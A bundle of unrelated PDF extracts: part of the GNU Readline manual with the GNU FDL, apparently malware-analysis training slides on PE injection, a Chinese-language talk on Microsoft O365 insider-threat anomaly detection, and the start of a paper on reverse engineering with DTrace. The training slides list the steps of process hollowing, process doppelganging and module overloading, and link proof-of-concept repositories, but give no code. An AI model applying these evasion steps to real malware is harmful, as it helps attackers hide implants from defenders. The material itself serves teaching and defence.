Search forward through the history for the string of characters between the start of the current line and the point. This is a non-incremental search. By default, this command is unbound. history-search-backward () Search backward through the history for the string of characters between the start of the current line and the point. This is a non-incremental search. By default, this command is unbound. yank-nth-arg (M-C-y) Insert the first argument to the previous command (usually the second word on the previous line) at point. With an argument n, insert the nth word from the previous command (the words in the previous command begin with word 0). A negative argument inserts the nth word from the end of the previous command. Once the argument n is computed, the argument is extracted as if the ‘!n’ history expansion had been specified. yank-last-arg (M-. or M-_) Insert last argument to the previous command (the last word of the previous history entry). With an argument, behave exactly like yank-nth-arg. Succes- sive calls to yank-last-arg move back through the history list, inserting the last argument of each line in turn. The history expansion facilities are used to extract the last argument, as if the ‘!$’ history expansion had been specified. Chapter 1: Command Line Editing 15 1.4.3 Commands For Changing Text delete-char (C-d) Delete the character at point. If point is at the beginning of the line, there are no characters in the line, and the last character typed was not bound to delete-char, then return eof. backward-delete-char (Rubout) Delete the character behind the cursor. A numeric argument means to kill the characters instead of deleting them. forward-backward-delete-char () Delete the character under the cursor, unless the cursor is at the end of the line, in which case the character behind the cursor is deleted. By default, this is not bound to a key. quoted-insert (C-q or C-v) Add the next character typed to the line verbatim. This is how to insert key sequences like C-q, for example. tab-insert (M-TAB) Insert a tab character. self-insert (a, b, A, 1, !, ...) Insert yourself. transpose-chars (C-t) Drag the character before the cursor forward over the character at the cursor, moving the cursor forward as well. If the insertion point is at the end of the line, then this transposes the last two characters of the line. Negative arguments have no effect. transpose-words (M-t) Drag the word before point past the word after point, moving point past that word as well. If the insertion point is at the end of the line, this transposes the last two words on the line. upcase-word (M-u) Uppercase the current (or following) word. With a negative argument, upper- case the previous word, but do not move the cursor. downcase-word (M-l) Lowercase the current (or following) word. With a negative argument, lowercase the previous word, but do not move the cursor. capitalize-word (M-c) Capitalize the current (or following) word. With a negative argument, capitalize the previous word, but do not move the cursor. overwrite-mode () Toggle overwrite mode. With an explicit positive numeric argument, switches to overwrite mode. With an explicit non-positive numeric argument, switches to insert mode. This command affects only emacs mode; vi mode does overwrite differently. Each call to readline() starts in insert mode. Chapter 1: Command Line Editing 16 In overwrite mode, characters bound to self-insert replace the text at point rather than pushing the text to the right. Characters bound to backward- delete-char replace the character before point with a space. By default, this command is unbound. 1.4.4 Killing And Yanking kill-line (C-k) Kill the text from point to the end of the line. backward-kill-line (C-x Rubout) Kill backward to the beginning of the line. unix-line-discard (C-u) Kill backward from the cursor to the beginning of the current line. kill-whole-line () Kill all characters on the current line, no matter where point is. By default, this is unbound. kill-word (M-d) Kill from point to the end of the current word, or if between words, to the end of the next word. Word boundaries are the same as forward-word. backward-kill-word (M-DEL) Kill the word behind point. Word boundaries are the same as backward-word. unix-word-rubout (C-w) Kill the word behind point, using white space as a word boundary. The killed text is saved on the kill-ring. unix-filename-rubout () Kill the word behind point, using white space and the slash character as the word boundaries. The killed text is saved on the kill-ring. delete-horizontal-space () Delete all spaces and tabs around point. By default, this is unbound. kill-region () Kill the text in the current region. By default, this command is unbound. copy-region-as-kill () Copy the text in the region to the kill buffer, so it can be yanked right away. By default, this command is unbound. copy-backward-word () Copy the word before point to the kill buffer. The word boundaries are the same as backward-word. By default, this command is unbound. copy-forward-word () Copy the word following point to the kill buffer. The word boundaries are the same as forward-word. By default, this command is unbound. yank (C-y) Yank the top of the kill ring into the buffer at point. Chapter 1: Command Line Editing 17 yank-pop (M-y) Rotate the kill-ring, and yank the new top. You can only do this if the prior command is yank or yank-pop. 1.4.5 Specifying Numeric Arguments digit-argument (M-0, M-1, ... M--) Add this digit to the argument already accumulating, or start a new argument. M-- starts a negative argument. universal-argument () This is another way to specify an argument. If this command is followed by one or more digits, optionally with a leading minus sign, those digits define the ar- gument. If the command is followed by digits, executing universal-argument again ends the numeric argument, but is otherwise ignored. As a special case, if this command is immediately followed by a character that is neither a digit or minus sign, the argument count for the next command is multiplied by four. The argument count is initially one, so executing this function the first time makes the argument count four, a second time makes the argument count six- teen, and so on. By default, this is not bound to a key. 1.4.6 Letting Readline Type For You complete (TAB) Attempt to perform completion on the text before point. The actual completion performed is application-specific. The default is filename completion. possible-completions (M-?) List the possible completions of the text before point. insert-completions (M-*) Insert all completions of the text before point that would have been generated by possible-completions. menu-complete () Similar to complete, but replaces the word to be completed with a single match from the list of possible completions. Repeated execution of menu-complete steps through the list of possible completions, inserting each match in turn. At the end of the list of completions, the bell is rung (subject to the setting of bell-style) and the original text is restored. An argument of n moves n positions forward in the list of matches; a negative argument may be used to move backward through the list. This command is intended to be bound to TAB, but is unbound by default. menu-complete-backward () Identical to menu-complete, but moves backward through the list of possible completions, as if menu-complete had been given a negative argument. delete-char-or-list () Deletes the character under the cursor if not at the beginning or end of the line (like delete-char). If at the end of the line, behaves identically to possible- completions. This command is unbound by default. Chapter 1: Command Line Editing 18 1.4.7 Keyboard Macros start-kbd-macro (C-x () Begin saving the characters typed into the current keyboard macro. end-kbd-macro (C-x )) Stop saving the characters typed into the current keyboard macro and save the definition. call-last-kbd-macro (C-x e) Re-execute the last keyboard macro defined, by making the characters in the macro appear as if typed at the keyboard. 1.4.8 Some Miscellaneous Commands re-read-init-file (C-x C-r) Read in the contents of the inputrc file, and incorporate any bindings or variable assignments found there. abort (C-g) Abort the current editing command and ring the terminal’s bell (subject to the setting of bell-style). do-uppercase-version (M-a, M-b, M-x, ...) If the metafied character x is lowercase, run the command that is bound to the corresponding uppercase character. prefix-meta (ESC) Metafy the next character typed. This is for keyboards without a meta key. Typing ‘ESC f’ is equivalent to typing M-f. undo (C-_ or C-x C-u) Incremental undo, separately remembered for each line. revert-line (M-r) Undo all changes made to this line. This is like executing the undo command enough times to get back to the beginning. tilde-expand (M-~) Perform tilde expansion on the current word. set-mark (C-@) Set the mark to the point. If a numeric argument is supplied, the mark is set to that position. exchange-point-and-mark (C-x C-x) Swap the point with the mark. The current cursor position is set to the saved position, and the old cursor position is saved as the mark. character-search (C-]) A character is read and point is moved to the next occurrence of that character. A negative count searches for previous occurrences. character-search-backward (M-C-]) A character is read and point is moved to the previous occurrence of that character. A negative count searches for subsequent occurrences. Chapter 1: Command Line Editing 19 skip-csi-sequence () Read enough characters to consume a multi-key sequence such as those defined for keys like Home and End. Such sequences begin with a Control Sequence Indicator (CSI), usually ESC-[. If this sequence is bound to "\e[", keys pro- ducing such sequences will have no effect unless explicitly bound to a readline command, instead of inserting stray characters into the editing buffer. This is unbound by default, but usually bound to ESC-[. insert-comment (M-#) Without a numeric argument, the value of the comment-begin variable is in- serted at the beginning of the current line. If a numeric argument is supplied, this command acts as a toggle: if the characters at the beginning of the line do not match the value of comment-begin, the value is inserted, otherwise the characters in comment-begin are deleted from the beginning of the line. In either case, the line is accepted as if a newline had been typed. dump-functions () Print all of the functions and their key bindings to the Readline output stream. If a numeric argument is supplied, the output is formatted in such a way that it can be made part of an inputrc file. This command is unbound by default. dump-variables () Print all of the settable variables and their values to the Readline output stream. If a numeric argument is supplied, the output is formatted in such a way that it can be made part of an inputrc file. This command is unbound by default. dump-macros () Print all of the Readline key sequences bound to macros and the strings they output. If a numeric argument is supplied, the output is formatted in such a way that it can be made part of an inputrc file. This command is unbound by default. emacs-editing-mode (C-e) When in vi command mode, this causes a switch to emacs editing mode. vi-editing-mode (M-C-j) When in emacs editing mode, this causes a switch to vi editing mode. 1.5 Readline vi Mode While the Readline library does not have a full set of vi editing functions, it does contain enough to allow simple editing of the line. The Readline vi mode behaves as specified in the posix 1003.2 standard. In order to switch interactively between emacs and vi editing modes, use the command M-C-j (bound to emacs-editing-mode when in vi mode and to vi-editing-mode in emacs mode). The Readline default is emacs mode. When you enter a line in vi mode, you are already placed in ‘insertion’ mode, as if you had typed an ‘i’. Pressing ESC switches you into ‘command’ mode, where you can edit the text of the line with the standard vi movement keys, move to previous history lines with ‘k’ and subsequent lines with ‘j’, and so forth. Appendix A: GNU Free Documentation License 20 Appendix A GNU Free Documentation License Version 1.3, 3 November 2008 Copyright c⃝ 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. http://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. 0. PREAMBLE The purpose of this License is to make a manual, textbook, or other functional and useful document free in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or non- commercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others. This License is a kind of “copyleft”, which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software. We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference. 1. APPLICABILITY AND DEFINITIONS This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The “Document”, below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as “you”. You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law. A “Modified Version” of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language. A “Secondary Section” is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document’s overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them. The “Invariant Sections” are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released Appendix A: GNU Free Documentation License 21 under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none. The “Cover Texts” are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words. A “Transparent” copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images com- posed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not “Transparent” is called “Opaque”. Examples of suitable formats for Transparent copies include plain ascii without markup, Texinfo input format, LaTEX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only. The “Title Page” means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, “Title Page” means the text near the most prominent appearance of the work’s title, preceding the beginning of the body of the text. The “publisher” means any person or entity that distributes copies of the Document to the public. A section “Entitled XYZ” means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as “Acknowledgements”, “Dedications”, “Endorsements”, or “History”.) To “Preserve the Title” of such a section when you modify the Document means that it remains a section “Entitled XYZ” according to this definition. The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License. 2. VERBATIM COPYING Appendix A: GNU Free Documentation License 22 You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3. You may also lend copies, under the same conditions stated above, and you may publicly display copies. 3. COPYING IN QUANTITY If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document’s license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects. If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages. If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public. It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document. 4. MODIFICATIONS You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version: A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, Appendix A: GNU Free Documentation License 23 be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission. B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement. C. State on the Title page the name of the publisher of the Modified Version, as the publisher. D. Preserve all the copyright notices of the Document. E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices. F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below. G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document’s license notice. H. Include an unaltered copy of this License. I. Preserve the section Entitled “History”, Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled “History” in the Docu- ment, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence. J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the “History” section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission. K. For any section Entitled “Acknowledgements” or “Dedications”, Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein. L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles. M. Delete any section Entitled “Endorsements”. Such a section may not be included in the Modified Version. N. Do not retitle any existing section to be Entitled “Endorsements” or to conflict in title with any Invariant Section. O. Preserve any Warranty Disclaimers. If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their Appendix A: GNU Free Documentation License 24 titles to the list of Invariant Sections in the Modified Version’s license notice. These titles must be distinct from any other section titles. You may add a section Entitled “Endorsements”, provided it contains nothing but endorsements of your Modified Version by various parties—for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard. You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one. The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version. 5. COMBINING DOCUMENTS You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers. The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work. In the combination, you must combine any sections Entitled “History” in the vari- ous original documents, forming one section Entitled “History”; likewise combine any sections Entitled “Acknowledgements”, and any sections Entitled “Dedications”. You must delete all sections Entitled “Endorsements.” 6. COLLECTIONS OF DOCUMENTS You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects. You may extract a single document from such a collection, and distribute it individu- ally under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document. Appendix A: GNU Free Documentation License 25 7. AGGREGATION WITH INDEPENDENT WORKS A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an “aggregate” if the copyright resulting from the compilation is not used to limit the legal rights of the compilation’s users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document. If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document’s Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate. 8. TRANSLATION Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail. If a section in the Document is Entitled “Acknowledgements”, “Dedications”, or “His- tory”, the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title. 9. TERMINATION You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License. However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it. Appendix A: GNU Free Documentation License 26 10. FUTURE REVISIONS OF THIS LICENSE The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/. Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License “or any later version” applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy’s public statement of acceptance of a version permanently authorizes you to choose that version for the Document. 11. RELICENSING “Massive Multiauthor Collaboration Site” (or “MMC Site”) means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A “Massive Multiauthor Collaboration” (or “MMC”) contained in the site means any set of copyrightable works thus published on the MMC site. “CC-BY-SA” means the Creative Commons Attribution-Share Alike 3.0 license pub- lished by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization. “Incorporate” means to publish or republish a Document, in whole or in part, as part of another Document. An MMC is “eligible for relicensing” if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008. The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing. Appendix A: GNU Free Documentation License 27 ADDENDUM: How to use this License for your documents To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page: Copyright (C) year your name. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled ‘‘GNU Free Documentation License’’. If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the “with. . .Texts.” line with this: with the Invariant Sections being list their titles, with the Front-Cover Texts being list, and with the Back-Cover Texts being list. If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation. If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
pdf
Module 1 A journey from high level languages, through assembly, to the running process https://github.com/hasherezade/malware_training_vol1 Introduction PE injections in malware • At various stages of execution, malware may inject its implants to other processes • Typical goals: process impersonation, API hooking • Every malware author wants to avoid dropping the malicious file on the disk, so various flavors of manual loading are deployed • The official Win API does not support loading file from a memory buffer (only from a file) • Almost every malware crypter uses some technique of PE injection PE injections in malware • Crypters https://blog.malwarebytes.com/threat-analysis/2015/12/malware-crypters-the-deceptive-first-layer/ Techniques of PE injection Manual loading of EXE file 1. Map from Raw Format into Virtual Format 2. Apply relocations 3. Fill imports 4. Connect to PEB 5. Execute the code (create a new thread of redirect execution of an existing thread) Process Hollowing 1. Map from Raw Format into Virtual Format 2. Apply relocations 3. Fill imports 4. Connect to PEB 5. Execute the code: redirect the Entry Point Manual PE loading • Process Hollowing https://github.com/hasherezade/libpeconv/tree/master/run_pe Process Doppelganging • Map from Raw Format into Virtual Format (create a Section) • Apply relocations • Fill imports • Execute the code: create the process out of the Section Process Doppelganging • Overview https://github.com/hasherezade/process_doppelganging Transacted Hollowing • Overview Module Overloading • An idea of @TheRealWover • PoC implemented by me • https://github.com/hasherezade/module_overloading • Similar to DLL hollowing, but the implant is not connected to the list of modules (may deceive some tools that search for the artefacts typical for hollowing) Module Overloading 1. Load a target DLL as MEM_IMAGE 2. Load the implant DLL manually (with filling imports) 3. Relocate the implant to the target base 4. Overwrite the target image with the implant 5. Fetch implant’s Entry Point 6. Execute the implant Module Overloading In action: https://github.com/hasherezade/module_overloading Exercise 1 • Let’s take a look at the implementation • Process Hollowing (aka Run PE): • https://github.com/hasherezade/libpeconv/blob/master/run_pe • Process Doppelganging: • https://github.com/hasherezade/process_doppelganging • Module Overloading: • https://github.com/hasherezade/module_overloading
pdf
基于历史行为的异常检测 O365怎样反击内部恶意攻击 Lei He Principal Engineering Manager, Microsoft Corporation 2019-05-30 Office365安全要求 * 客户密码箱入门只能用于访问客户数据的企业服务. • 无法使用Corp身份进行解密或访问, 所有访问要求2FA • 背景调查及安全培训 • 用户数据和运作中心隔离 • 零永久访问权限 • 客户密码箱和BYOK • 基于ETW的详细原始遥测技术,能够在 <1天内测量新的遥测技术 • 集中处理会在15分钟内发出警报,以解 决安全问题 • 每天至少1次攻击模拟服务以验证监视/ 响应 • 能够在<15分钟内触发安全响应工作流 程,并在<1天内检测新工作流程 • 所有秘密必须存放在安全的容器中 • 秘密永远不应该离开边界 • 暴露时应立即滚动秘密 • 数据受托人应该在更新环境中完全控制 秘密 • 每天都扫描所有产品终点 • 所有中等和更严重评级的漏洞都应该打 补丁或免除 • 所有网络应用程序应每月扫描一次 • 中央报告和跟踪 访问控制 安全监控 密钥管理 反病毒修补 概览 问题 • 信息泄露/心怀不满的恶意内部人员是重大的安全威胁 • 经过监督的ML检测训练以检测“已知”模式; 需要覆盖未知模式 解决方案 • 基于历史行为的检测标记异常活动 • 对于O365数据中心安全,用户== DevOps • 可以推广到其他实体配置文件 O365 数据中心监控 自动近实时多层检测和响应 Vanquish监测管道 O(100K)机器评估 O(1k)用户评估 Spark上的近实时(NRT)多层处理: <15分钟内的寻呼警报(包括基于ML 的警报) 分析工具和仪表板 在收到警报时以近乎实时的方式交互 式查看结果 警报和自动化 24 x 7,寻呼警报和自动响应。 模型特征选择 观察:DevOps活动展示模式 登录活动: • 用户从哪里登录? • 用户什么时候登录? • 用户登录后做了什么? 及时提升: • 用户请求了什么类型的权限提升? • 谁批准了权限提升? 操作: • 用户执行了哪个工作流程? • 用户启动了哪些进程? • 用户触发了哪些检测? 特征: • 登录的机器 • 机器类型 • 容量单位范围 • 登录的IP • 连接到的IP • 其他检测触发 • 提升到何种权限 • 提升目的 • 批准者 • 特定的时间 • 流程和工作流程 模型 1. 产生每个用户的完整历史行为总结 a) 每个要素都是{ Value: Occurrence }的列表 2. 每隔2分钟,评估用户过去6个小时活动行为 3. 将每个当前的活动行为与用户的历史活动行为进行比较 a) 针对会话中的值计算特征相似性得分。 历史上发生的越高,越相似/正常 b) 根据n个特征的相似性得分生成会话异常分数。 4. 收集历史事件测试数据集以评估性能 5. 根据警报次数容忍度来设置警报阈值(每周5次) Model Tuning Workflow Malicious != Anomalous 模型调优 Was this corroborated? Email User in Alert Start Label False Positive Improve Model Was the activities abnormal? Label True Positive End No Yes No Yes 模型调优模式 新团队成员: 设置活动量的最低阈值 稀疏功能: 设置有效功能的最低阈值 双重计数: 删除自动生成的活动 换队伍: 使用团队资料 重命名命令: 不区分大小写的比较 高熵特点: 用{Capacity Unit, Capacity Type}替换目标计算机 名称或IP 降低用户源IP的权重 降级自由文本功能( 比如,提升权限 ) 模型性能 成功指标:警报次数 • 自2018年末发布以来,每周平均提供约5次警报 成功指标:精确度 • ~90%真阳性(上个月16/18) 真实积极的类型 • 渗透测试 • 一次性事件(“破碎玻璃”)或审计 • 操作流程违规 • DevOps 不良行为 • DevOps一次性测试或试验 行动起来 应用基于历史行为的异常检测深度防御! • 从高质量数据开始 • 找到真实的恶意事件 • 做在线实施前首先执行离线分析 • 通过反馈循环持续调整 • 可解释的模型 • 警报有足够的补充信息 答疑 基于历史行为的异常检测 www.linkedin.com/in/lei-he-security Lei He leih@Microsoft.com
pdf
1 Abstract This paper will examine how DTrace, a kernel- based dynamic scriptable tracer, can be effectively used for reverse engineering tasks. DTrace offers an unprecedented view of both user and kernel space, which has many interesting implications for security researchers. In this paper we will introduce DTrace, comparing it to existing debuggers and tracers. We will then walk the reader through various applications of DTrace. We will show how to monitor for stack and heap overflows, generate code coverage graphs, trace code paths visually in target applications over the network with IDA Pro, and discuss intrusion detection and evading DTrace. Introduction DTrace was first introduced in Solaris 10 which was released in 2004 by Sun Microsystems. Its development began in 2001 with Sun kernel engineer Bryan Cantrill as the sole developer. The composition of the DTrace core development team was later completed with the addition of Adam Leventhal and Mike Shapiro. Sun Microsystems describes Dtrace as a “dynamic tracing framework for troubleshooting systemic problems in real time on production systems.” DTrace is made up of several components in the OS kernel and user space and tied together through the D scripting language. DTrace dynamic tracing allows you to view nearly all activity in the system on demand through software embedded sensors called “probes.” OS X Leopard and Solaris ship with thousands of possible probes in places ranging from deep inside the kernel to user-level applications like web browsers and chat programs. This extensive visibility provides the data that an administrator, developer, or user needs to understand the dynamic and complex relationships between software components. Questions can be asked and answered by querying the data gathered by DTrace probes through D scripts. D is a block-based interpreted language that was created for use with DTrace. D syntax is a described as a subset of C, but is structured much like the syntax of Awk. The dynamic aspect of DTrace comes from the fact that probes can be enabled when needed, and are removed once the requested data has been gathered. This is a very unobtrusive way of instrumenting a system or process, and it is the relative safety of DTrace probes that enables its use on production systems. DTrace was Sun’s first software component to be released under their own open source Common Development and Distribution License (CDDL). The open sourcing of DTrace paved the way for the framework to be included in other operating systems. However, skepticism about CDDL had slowed efforts to port DTrace to FreeBSD. RedHat decided to compete with their SystemTap product instead. DTrace was DTrace: The Reverse Engineer’s Unexpected Swiss Army Knife Tiller Beauchamp David Weston Science Applications International Corporation {Tiller.L.Beauchamp,David.G.Weston}@saic.com 2 ported to Apple’s OS X 10.5 “Leopard,” released in October 2007. Two weeks later it was announced that DTrace had been ported to QNX. The DTrace community continues to be very dynamic. DTrace Vernacular The processing and buffering of all probe data takes place in the DTrace kernel module. Each probe definition is composed of the four elements separated by colons. The general form is: provider:module:function:name Provider: A provider is a DTrace kernel module, which logically groups together various probes that are related. Examples of providers in DTrace include: fbt which instruments kernel functions, pid; which instruments user land processes, and syscall which instruments system calls. Module: A module is the program location of the group of probes. This could be the name of a kernel module where the probes exist, or it could be a user land library. Example modules are the libc.so library or the ufs kernel module. Function: Specifies the specific function for which this probe should fire on. This could be something like a particular function in a library such as printf() or strcpy(). Name: This is usually the meaning of the probe. Sample names are “entry“ or “return” for a function or “start” for an I/O probe. For instruction level tracing this field specifies the offset within the function. Understanding the DTrace vernacular allows you to understand the purpose of a particular probe. You can list all the probes on a DTrace instrumented system by provider by running the “dtrace –l” command. It will list the probes in the format described above. DTrace Architecture The bulk of DTrace functionality resides within the kernel. This means that probe data collected in user land must be first copied into kernel entry points before it can be processed. To provide bi-directional communication between user space and the kernel, DTrace provides a conduit in the form of the shared library libdtrace. The DTrace user command depends on libtrace to compile a D script into an intermediate form. Once the program is compiled, it is sent into the operating system kernel for execution by the DTrace kernel modules. It is at this time that the probes specified within your script are discretely activated. After the script has completed its execution, the activated probes are removed and probe definition / optional predicate / { optional action statements; } Figure 1. 